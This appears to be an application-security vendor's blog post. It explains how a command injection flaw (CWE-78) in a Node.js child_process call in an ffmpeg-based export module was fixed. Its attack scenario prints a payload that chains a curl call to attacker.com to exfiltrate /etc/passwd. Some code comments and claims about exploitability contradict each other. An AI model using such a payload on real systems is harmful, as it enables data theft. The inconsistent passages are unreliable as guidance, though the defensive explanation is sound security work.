Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js Child Process Calls and how to fix it

A critical command injection vulnerability was discovered in `lyricVideoExport.js` where user-controlled input could be passed unsafely to Node.js child process calls. The fix establishes explicit trust boundaries, uses `shell:false`, and passes arguments as an array instead of a concatenated string, preventing attackers from injecting arbitrary commands.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a **command injection vulnerability (CWE-78)** in Node.js that occurs when user-controlled input flows directly into `child_process.spawn()` without validation. The fix refactors the vulnerable code to establish an explicit trust boundary at `resolveFfmpegPath()` where the executable is validated, uses `shell:false` to disable shell interpretation, and passes command arguments as a separate array instead of a single string—preventing shell metacharacters from being interpreted as commands.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixEstablish trust boundary at resolveFfmpegPath(), use shell:false, pass args as array
riskRemote code execution with the privileges of the application process
languageJavaScript (Node.js)
root causeUntrusted input passed to child_process without sanitization; shell interpretation of concatenated strings
vulnerabilityCommand Injection via Unsanitized child_process Arguments

How Command Injection happens in Node.js Child Process Calls and how to fix it

Introduction

In the lyric video export module (main/ipc/lyricVideoExport.js), a high-severity command injection vulnerability was discovered at line 107 where user-controlled input could flow directly into child_process calls without proper validation or sanitization. This is a web service component, meaning the vulnerability is directly exploitable by remote attackers sending crafted IPC requests. The root issue: untrusted function arguments were being passed unsafely to Node.js process spawning functions, creating an exploit primitive that could allow remote code execution with the application's privileges.

The Vulnerability Explained

What Was Wrong

The vulnerable pattern in lyricVideoExport.js:107 involved calling child_process functions with a command parameter supplied from a function argument:

// VULNERABLE: command argument flows unsafely into child_process
spawn(command, args, { shell: true })

This pattern is dangerous because:

  1. No trust boundary validation: The command parameter comes directly from an IPC request handler with no validation that it's actually an executable binary
  2. Shell interpretation enabled: Using shell: true or passing concatenated strings allows shell metacharacters (|, &&, ;, $(...), `, etc.) to be interpreted as commands
  3. Lack of sanitization: There's no filtering or escaping of special characters that the shell would interpret as control flow

Attack Scenario

Imagine an attacker sends an IPC request to lyricVideoExport with:

{
  "command": "ffmpeg && curl attacker.com/exfil?data=$(cat /etc/passwd)",
  "args": [...]
}

If the application accepts this command parameter and passes it to spawn() with shell: true, the attacker achieves:
- ✅ Execution of ffmpeg (legitimate operation)
- ✅ Execution of curl attacker.com/exfil?data=$(cat /etc/passwd) (command injection attack)

The attacker can read sensitive files, exfiltrate data, create reverse shells, or move laterally through the system.

Why This Matters

This vulnerability creates what security researchers call an "exploit primitive"—a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tools. As mentioned in the PR description: "This patch removes an exploit primitive — a code pattern that, while not independently exploitable today, could be chained with other weaknesses by automated exploit-development tooling." Modern security tools increasingly use automated reasoning to chain small weaknesses into full exploits. Proactively removing these patterns raises the bar against sophisticated attacks.

The Fix

The fix establishes explicit trust boundaries and refactors the code into ffmpegProbe.js with three critical security improvements:

Before (Vulnerable)

// No explicit trust boundary
// Command could come from untrusted input
spawn(command, args, { shell: true })

After (Hardened)

// NEW FILE: main/ipc/ffmpegProbe.js
export const runProbeProcess = async (executablePath, args, timeoutMs, label) => new Promise((resolve) => {
  // Trust boundary: executablePath is resolved at resolveFfmpegPath() ONLY
  // It NEVER comes from IPC input

  // SECURITY FIX #1: shell:false prevents shell interpretation
  // SECURITY FIX #2: args passed as array, not concatenated string
  // SECURITY FIX #3: explicit validation via resolveFfmpegPath() trust boundary
  const child = spawn(executablePath, args, { 
    windowsHide: true, 
    stdio: ['ignore', 'ignore', 'pipe'], 
    shell: false  // ← CRITICAL: Disable shell interpretation
  });

  // ... timeout and error handling ...
});

The Three Critical Changes

1. Establish Trust Boundary at resolveFfmpegPath()

The code includes this clarifying comment:

// The executable path is resolved internally by resolveFfmpegPath() (the trust boundary):
// a validated configured/bundled path, or the intentional bare `ffmpeg` for OS PATH lookup.
// It is never supplied by the lyric-video export IPC request

This documents that the executable path is always validated before reaching spawn(). The IPC handler cannot inject an arbitrary executable—only provide arguments for a pre-validated command.

2. Disable Shell Interpretation with shell: false

const child = spawn(executablePath, args, { shell: false });

With shell: false:
- Shell metacharacters (|, &&, ;, $(), backticks) are treated as literal characters
- Only the exact executable is run; no shell parsing occurs
- Arguments are passed directly to the program without interpretation

3. Pass Arguments as Array, Not String

// Correct: arguments in array
spawn(executablePath, args, { shell: false });

// Correct: never this pattern with shell:false
spawn(executablePath, ['-c', 'command && injected-command'], { shell: false });

When arguments are an array, each element is passed as-is to the program without any shell parsing.

4. Add Explicit Semgrep Suppression with Justification

// nosemgrep: javascript.lang.security.detect-child-process.detect-child-process 
// -- executable resolved at the resolveFfmpegPath() trust boundary, not from IPC input; 
//    shell:false with array args
const child = spawn(executablePath, args, { windowsHide: true, stdio: [...], shell: false });

This tells security scanners: "We reviewed this call and it's safe because [specific reasons]."

Prevention & Best Practices

For Your Own Code

  1. Always use spawn() or execFile(), never exec()
    - exec() shells out by default—too dangerous for untrusted input
    - spawn() gives you control over shell behavior

  2. Always set shell: false
    ```javascript
    // ✅ Safe
    spawn('ffmpeg', ['-i', userInput], { shell: false });

// ❌ Dangerous
spawn('ffmpeg', ['-i', userInput], { shell: true });
```

  1. Validate and establish trust boundaries early
    ```javascript
    // ✅ Trust boundary: validate executable once
    const ffmpeg = resolveFfmpegPath(); // Returns '/usr/bin/ffmpeg' or error
    spawn(ffmpeg, userArgs, { shell: false }); // Safe: ffmpeg is pre-validated

// ❌ No trust boundary
spawn(userSuppliedExecutable, userArgs, { shell: false }); // Dangerous!
```

  1. Use static analysis to find vulnerable patterns
    - Semgrep rule: javascript.lang.security.detect-child-process.detect-child-process
    - ShiftLeft, Snyk, CodeQL also detect this pattern
    - Review all findings manually—not all are exploitable, but all are worth auditing

  2. When shellMetacharacters might be needed, use a allowlist, not concatenation
    ``javascript // ❌ Dangerous: concatenation allows injection spawn('bash', ['-c',cat ${filename}`], { shell: false });

// ✅ Better: use arrays
spawn('cat', [filename], { shell: false });

// ✅ If you must use shell features, validate strictly
if (!/^[a-zA-Z0-9._-]+$/.test(filename)) throw new Error('Invalid filename');
spawn('bash', ['-c', cat ${filename}], { shell: false });
```

Static Analysis Configuration

To catch this in your CI/CD pipeline:

# Using Semgrep
semgrep --config=p/security-audit main/ipc/

# Catch the specific rule
semgrep --config='rule:javascript.lang.security.detect-child-process.detect-child-process' src/

In your .semgrep.yml or CI configuration, enable this rule and require manual review of all findings before merging.

References to OWASP and CWE

  • OWASP A03:2021 – Injection: This vulnerability is a form of command injection, one of the top three OWASP categories
  • CWE-78: OS Command Injection: The exact classification
  • CWE-94: Improper Control of Generation of Code: Related—when shell interpretation allows unintended code execution

Key Takeaways

  • Never pass user-controlled input as the executable path to spawn() — Always validate the executable at an explicit trust boundary before spawning
  • shell: false is mandatory for untrusted input — Even with shell: false, validate and sanitize the arguments passed to the spawned process
  • Array arguments prevent shell interpretation — Pass arguments as an array, never as a concatenated string where shell metacharacters could be misinterpreted
  • Document your trust boundaries explicitly — Use comments in the code to explain why a particular spawn() call is safe, making it easier for reviewers and future maintainers to understand the security reasoning
  • Semgrep correctly flagged this pattern — Automated security scanning found the vulnerability; the fix proves that establishing clear trust boundaries resolves the underlying risk

How Orbis AppSec Detected This

Source: User-supplied arguments flowing into lyricVideoExport.js via IPC handler

Sink: spawn(executablePath, args, ...) call at line 107 in lyricVideoExport.js without validation that the command argument comes from a trusted source

Missing control: No verification that the command parameter was validated through a trust boundary; no shell: false flag; arguments not explicitly passed as array

CWE: CWE-78 – Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Fix: Refactor into ffmpegProbe.js with resolveFfmpegPath() as the trust boundary, set shell: false, pass args as array, and add explicit Semgrep suppression with justification

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Command injection remains one of the most dangerous vulnerabilities in production systems because it grants attackers OS-level code execution with the privileges of the application process. In this case, a web service component was exposed to remote exploitation through unsafe child_process calls.

The fix is straightforward but critical: establish explicit trust boundaries, disable shell interpretation with shell: false, and pass arguments as arrays. By applying these three principles, developers eliminate an entire class of OS command injection attacks.

The lesson here extends beyond this specific fix: security vulnerabilities often result from mixing trusted and untrusted data without clear boundaries. Always ask yourself: "Where does this data come from, and have I validated it?" When the answer is unclear, that's a signal to add explicit comments and trust boundaries—exactly what this fix demonstrates.

As automated exploit tools become more sophisticated, proactively removing exploit primitives like this one is no longer optional—it's a best practice that raises the bar for attackers and makes your application measurably more secure.


References

Frequently Asked Questions

What is command injection in Node.js?

Command injection occurs when untrusted input is passed to OS command execution functions like `spawn()`, `exec()`, or `execFile()` without proper sanitization, allowing attackers to inject arbitrary shell commands.

How do you prevent command injection in Node.js?

Always use `spawn()` or `execFile()` with `shell:false` and pass arguments as an array rather than a concatenated string. Validate all external input and establish clear trust boundaries for executable paths.

What CWE is this command injection vulnerability?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is using shell:false enough to prevent command injection?

`shell:false` is necessary but not sufficient alone—you must also pass arguments as an array (not a concatenated string) and validate/sanitize the executable path and all arguments.

Can static analysis detect command injection in Node.js?

Yes, tools like Semgrep can detect suspicious `child_process` calls with flag `javascript.lang.security.detect-child-process.detect-child-process`, but require manual review of trust boundaries to determine if input is actually untrusted.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #23

Related Articles

critical

How Arbitrary Code Execution Via Command Injection happens in Node.js and how to fix it

A critical arbitrary code execution flaw in the `shell-quote` npm package (CVE-2026-9277) allowed attackers to break out of shell quoting using unescaped Unicode line terminator characters, turning ordinary command-line arguments into injected shell commands. The fix locks `shell-quote` to the patched `1.8.4` release via a `resolutions` override in `package.json`/`yarn.lock`, closing off a transitive dependency path that could otherwise pull in a vulnerable version.

critical

How command injection happens in Kotlin/Android and how to fix it

V2rayNG's RootShell.kt built root shell commands by concatenating an unescaped file path directly into a string passed to `su -c`, creating a critical command injection risk (CWE-78). The fix restricts the `exec()` API to internal use only and single-quote-escapes the file path before it ever reaches the root shell.

high

How shell command injection happens in Ruby and how to fix it

A critical command injection vulnerability was discovered in Fastlane's deliver module where `system("open '#{html_path}'")` allowed shell metacharacters in file paths to execute arbitrary commands. The fix replaces vulnerable string interpolation with array-based argument passing, eliminating the shell entirely.

critical

How Command Injection Happens in Node.js Dependencies and How to Fix It

CVE-2026-9277 is a critical command injection vulnerability in shell-quote versions prior to 1.8.4 that allows attackers to execute arbitrary code by injecting unescaped line terminators into shell commands. This vulnerability affects any Node.js application that uses the vulnerable shell-quote package to construct shell commands from untrusted input. The fix upgrades shell-quote to version 1.8.4, which properly escapes line terminators and neutralizes the injection vector.

high

How command injection happens in Ruby and how to fix it

A Fastlane helper used a Ruby backtick subshell to clone a plugin's git repository, interpolating `self.homepage` directly into a shell command string. Even with `shellescape` applied, the pattern was flagged as a dangerous subshell that could be chained into a command injection primitive; the fix replaces it with `system()` using an argument array, eliminating shell interpretation entirely.

critical

How command injection happens in JavaScript dependency trees and how to fix it

A critical command injection vulnerability in websocket-driver 0.7.4 allowed attackers to execute arbitrary shell commands through unescaped line terminators in WebSocket protocol handling. The automated fix upgrades to version 0.7.5 and adds an explicit override in package.json to prevent dependency resolution from reverting to the vulnerable version.